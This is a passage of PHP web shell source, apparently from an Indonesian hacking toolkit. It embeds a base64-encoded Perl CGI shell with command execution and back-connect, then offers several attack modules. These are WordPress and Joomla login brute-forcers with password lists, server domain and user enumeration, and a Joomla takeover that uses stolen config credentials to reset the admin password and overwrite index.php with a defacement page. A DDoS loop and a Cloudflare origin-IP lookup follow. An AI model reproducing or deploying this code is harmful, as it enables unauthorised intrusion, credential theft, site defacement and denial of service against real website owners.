mlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
- $file = fopen("cgi2012.izo" ,"w+");
- $write = fwrite ($file ,base64_decode($cgi2012));
- fclose($file);
- chmod("cgi2012.izo",0755);
- echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
- </div>"; }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
- {
- $submit= $_POST['enter'];
- if (isset($submit)) {
- $pass = $_POST['password'];
- $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN';
- $hash = md5($pass);
- $hash_md5 = md5($salt.$pass);
- $hash_md5_double = md5(sha1($salt.$pass));
- $hash1 = sha1($pass);
- $hash1_sha1 = sha1($salt.$pass);
- $hash1_sha1_double = sha1(md5($salt.$pass));
- }
- echo '<form action="" method="post"><b><table class=tabnet>';
- echo '<tr><th colspan="2">Password Hash</th></center></tr>';
- echo '<tr><td><b>Masukan Kata : </b></td>';
- echo '<td><input class="inputz" type="text" name="password" size="40" />';
- echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
- echo '</td></tr><br>';
- echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
- echo '<tr><td>Original</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
- echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
- echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
- echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
- echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
- echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
- echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'wpforce'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=wpforce" method="post">
- <center>
- <br><Br>
- <form enctype="multipart/form-data" method="POST">
- <table width='624' border='0' class='tabnet' id='Box'>
- <tr><th colspan="5">Wordpress Brute Force</th></tr>
- <tr><td > </td>
- <td><p>Hosts:</p></td>
- <td><p>Users:</p></td>
- <td><p>Passwords:</p></td></tr>
- <tr><td> </td>
- <td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
- <td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
- <td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin\nadministrator\nadmin123\nqwerty\n123qwerty\nqwerty12345\n123admin\12345admin\nqwe123rty\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";} ?></textarea></td></tr>
- <tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
- <?php
- if($_POST)
- {
- $hosts = trim(filter($_POST['hosts']));
- $passwords = trim(filter($_POST['passwords']));
- $usernames = trim(filter($_POST['usernames']));
- if($passwords && $usernames && $hosts)
- {
- $hosts_explode = explode("\n", $hosts);
- $usernames_explode = explode("\n", $usernames);
- $passwords_explode = explode("\n", $passwords);
- foreach($hosts_explode as $host)
- {
- $host = RemoveLastSlash($host);
- $hacked = 0;
- $host = str_replace(array("http://","https://","www."),"",trim($host));
- $host = "http://".$host;
- $wpAdmin = $host.'/wp-admin/';
- if(!url_exists($host."/wp-login.php"))
- {echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}
- foreach($usernames_explode as $username)
- {
- foreach($passwords_explode as $password)
- {
- $ch = curl_init();
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
- curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
- curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
- curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
- curl_setopt($ch,CURLOPT_POST,TRUE);
- curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
- $login = curl_exec($ch);
- if(eregi ("profile.php",$login) )
- {
- $hacked = 1;
- echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
- ob_flush();flush();break;
- } }
- if($hacked == 1){break;}
- }
- if($hacked == 0)
- {echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
- }
- }
- else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
- }
- ?>
- </td></tr>
- </table></form></center>
- <?php
- function url_exists($strURL)
- {
- $resURL = curl_init();
- curl_setopt($resURL, CURLOPT_URL, $strURL);
- curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
- curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
- curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
- curl_exec ($resURL);
- $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
- curl_close ($resURL);
- if ($intReturnCode != 200){return false;}
- else{return true ;}
- }
- function filter($string)
- {
- if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
- else{return $string; }
- }
- function RemoveLastSlash($host)
- {
- if(strrpos($host, '/', -1) == strlen($host)-1)
- {return substr($host,0,strrpos($host, '/', -1));}
- else{return $host;}
- }
- echo "</p>";
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'joomforce'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=joomforce" method="post">
- <meta name="author" content="ANU" />
- <meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
- <meta name="description" content="ANU" />
- <center>
- </br></br>
- <center><br /><br />
- <form method="post" action="" enctype="multipart/form-data">
- <table class="tabnet" width="38%" border="0"><center>
- <th colspan="2">Joomla Brute Force</th>
- <tr><td><p ><font class="d1">User :</font></th>
- <input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
- </td></tr>
- <tr><td><font class="">Sites list :</font>
- </td><td><font class="" >Pass list :</font></td></tr>
- <tr><td>
- <textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
- </td><td>
- <textarea name="w0rds" style="background:black;" cols="40" rows="13" >
- admin
- 123qwe456rty
- qwerty
- fuck
- administrator
- passjomla
- adminpass
- 123456
- password
- 102030
- 123123
- 12345
- 123456789
- pass
- test
- admin123
- demo
- !@#$%^
- </textarea>
- </td></tr><center><tr><td>
- <font >
- <input class="inputzbut" type="submit" name="x" value=" >> " id="d4">
- </font></td></tr><br><br></center></table>
- </form></center>
- <?
- @set_time_limit(0);
- if($_POST['x']){
- echo "<hr>";
- $sites = explode("\n",$_POST["sites"]);
- $w0rds = explode("\n",$_POST["w0rds"]);
- $Attack = new Joomla_brute_Force();
- foreach($w0rds as $pwd){
- foreach($sites as $site){
- $Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd));
- flush();flush();
- } } }
- function txt_cln($value){ return str_replace(array("\n","\r"),"",$value); }
- class Joomla_brute_Force{
- public function check_it($site,$user,$pass){
- if(eregi('com_config',$this->post($site,$user,$pass))){
- echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
- $f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php\n"); fclose($f);
- flush();
- }else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
- }
- public function post($site,$user,$pass){ // Post -> user & pass
- $token = $this->extract_token($site);
- $curl=curl_init();
- curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
- @curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
- @curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
- curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
- @curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
- curl_setopt($curl,CURLOPT_POST,1);
- curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
- curl_setopt($curl,CURLOPT_TIMEOUT,20);
- $exec=curl_exec($curl);
- curl_close($curl);
- return $exec;
- }
- public function extract_token($site){
- $source = $this->get_source($site);
- preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
- return $token[1][0];
- }
- public function get_source($site){
- $curl=curl_init();
- curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
- @curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
- @curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
- curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
- @curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
- curl_setopt($curl,CURLOPT_TIMEOUT,20);
- $exec=curl_exec($curl);
- curl_close($curl);
- return $exec;
- } } }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
- <?php
- echo '<br><br>></center><br><br><div class=content>';
- $file = @implode(@file("/etc/named.conf"));
- if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
- preg_match_all("#named/(.*?).db#",$file ,$r);
- $domains = array_unique($r[1]);
- //check();
- //if(isset($_GET['ShowAll']))
- {
- echo "<table align=center border=1 width=59% cellpadding=5>
- <tr><td colspan=2>[+] ADA [ <b>".count($domains)."</b> ] DOMAIN</td></tr>
- <tr><td>Domain</td><td>User</td></tr>";
- foreach($domains as $domain){
- $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
- echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
- }
- echo "</table>";
- }
- echo '</div>';
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'joomindex'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=joomindex" method="post">
- <?php
- function randomt() {
- $chars = "abcdefghijkmnopqrstuvwxyz023456789";
- srand((double)microtime()*1000000);
- $i = 0;
- $pass = '' ;
- while ($i <= 7) {
- $num = rand() % 33;
- $tmp = substr($chars, $num, 1);
- $pass = $pass . $tmp;
- $i++;
- }
- return $pass;
- }
- function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
- {
- $ar0=explode($marqueurDebutLien, $text);
- $ar1=explode($marqueurFinLien, $ar0[$i]);
- $ar=trim($ar1[0]);
- return $ar;
- }
- if ($_POST['form_action'])
- {
- $text=file_get_contents($_POST['file']);
- $username=entre2v2($text,"public $user = '","';");
- $password=entre2v2($text,"public $password = ', '","';");
- $dbname=entre2v2($text,"public $db = ', '","';");
- $dbprefix=entre2v2($text,"public $dbprefix = '","';");
- $site_url=($_POST['site_url']);
- $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
- $co=randomt();
- /*
- echo($username);
- echo("<br>");
- echo($password);
- echo("<br>");
- echo($dbname);
- echo("<br>");
- echo($dbprefix);
- echo("<br>");
- */
- $co=randomt();
- if ($_POST['form_action'])
- {
- $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
- $link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
- mysql_select_db($dbname,$link) ;
- $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
- echo("<br>[+] Changing admin password to 123456789");
- $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
- if ( $req )
- {
- #################################################################
- ###################### V1.6 ######################
- #################################################################
- $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
- $data = mysql_fetch_array($req);
- $template_name=$data["template"];
- $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
- $data = mysql_fetch_array($req);
- $template_id=$data["extension_id"];
- $url2=$site_url."/index.php";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
- $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
- ///////////////////////////
- $url2=$site_url."/index.php";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $pos = strpos($buffer,"com_config");
- if($pos === false) {
- echo("<br>[-] Login Error");
- exit;
- }
- else {
- echo("<br>[~] Login Successful");
- }
- ///////////////////////////
- $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
- if($hidden2) {
- echo("<br>[+] index.php file founded in Theme Editor");
- }
- else {
- echo("<br>[-] index.php Not found in Theme Editor");
- exit;
- }
- echo("<br>[*] Updating Index.php .....");
- $url2=$site_url."/index.php?option=com_templates&layout=edit";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $pos = strpos($buffer,'<dd class="message message">');
- if($pos === false) {
- echo("<br>[-] Updating Index.php Error");
- exit;
- }
- else {
- echo("<br>[~] index.php successfully saved");
- }
- #################################################################
- ###################### V1.6 END ######################
- #################################################################
- }
- else
- {
- $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
- $data = mysql_fetch_array($req);
- $template_name=$data["template"];
- $url2=$site_url."/index.php";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
- $url2=$site_url."/index.php";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $pos = strpos($buffer,"com_config");
- if($pos === false) {
- echo("<br>[-] Login Error");
- exit;
- }
- else {
- echo("<br>[+] Login Successful");
- }
- ///////////////////////////
- $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
- if($hidden2) {
- echo("<br>[~] index.php file founded in Theme Editor");
- }
- else {
- echo("<br>[-] index.php Not found in Theme Editor");
- }
- echo("<br>[*] Updating Index.php .....");
- $url2=$site_url."/index.php?option=com_templates&layout=edit";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $pos = strpos($buffer,'<dd class="message message fade">');
- if($pos === false) {
- echo("<br>[-] Updating Index.php Error");
- exit;
- }
- else {
- echo("<br>[~] index.php successfully saved");
- }
- #################################################################
- ###################### V1.5 END ######################
- #################################################################
- }
- }
- function randomt() {
- $chars = "abcdefghijkmnopqrstuvwxyz023456789";
- srand((double)microtime()*1000000);
- $i = 0;
- $pass = '' ;
- while ($i <= 7) {
- $num = rand() % 33;
- $tmp = substr($chars, $num, 1);
- $pass = $pass . $tmp;
- $i++;
- }
- return $pass;
- }
- function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
- {
- $ar0=explode($marqueurDebutLien, $text);
- $ar1=explode($marqueurFinLien, $ar0[$i]);
- $ar=trim($ar1[0]);
- return $ar;
- }
- }?>
- <center><b>[+] LINK HASIL SYMLINK CONFIG JOOMLA [+]<br></b>
- <FORM action="" method="post">
- <input type="hidden" name="form_action" value="1">
- <input type="text" class="inputz" size="60" name="file" value="http://target.com/sym/home/user/public_html/configuration.php">
- <br>
- <br><b>[+] ADMINISTRATOR PATH [+]</b><br>
- <input type="text" class="inputz" size="40" name="site_url" value="http://target.com/administrator"><br>
- <br><br>
- <TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code">HALAMAN DEFACE ENTE COK</TEXTAREA>
- <br>
- <INPUT class="inputzbut" type="submit" value=" >> " name="Submit"></FORM></center>
- <script language=JavaScript>m='%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
- <?php
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'ddos'))
- {
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=ddos" method="post">
- <?php
- echo $head.$formg.$nowaddress.'<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value=" Get Fire!!! "></form></p></table>'.$end;exit;
- if($_GET['urldd0'] && $_GET['timedd0']){
- for ($id=0;$$id<$_GET['timedd0'];$id++){
- $fp=null;
- $contents=null;
- $fp=fopen($_GET['urldd0'],"rb");
- while (!feof($fp)) {
- $contents .= fread($fp, 8192);
- }
- fclose($fp);
- }}
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'cf'))
- {
- echo '
- <form method="POST"><br><br>
- <center>
- <select class="inputz" name="krz">
- <option>FTP</option>
- <option>DIRECT</option>
- <option>WEBMAIL</option>
- <option>CPANEL</option>
- </select>
- <input class="inputz" type="text" name="target" value="url">
- <input class="inputzbut" type="submit" value=" >> "></center>
- ';
- $target = $_POST['target'];
- # Bypass From FTP
- if($_POST['krz'] == "ftp") {
- $ftp = gethostbyname("ftp."."$target");
- echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
- ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
- }
- # Bypass From Direct-Connect
- if($_POST['krz'] == "direct-connect") {
- $direct = gethostbyname("direct-connect."."$target");
- echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
- ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
- }
- # Bypass From Webmail
- if($_POST['krz'] == "webmail") {
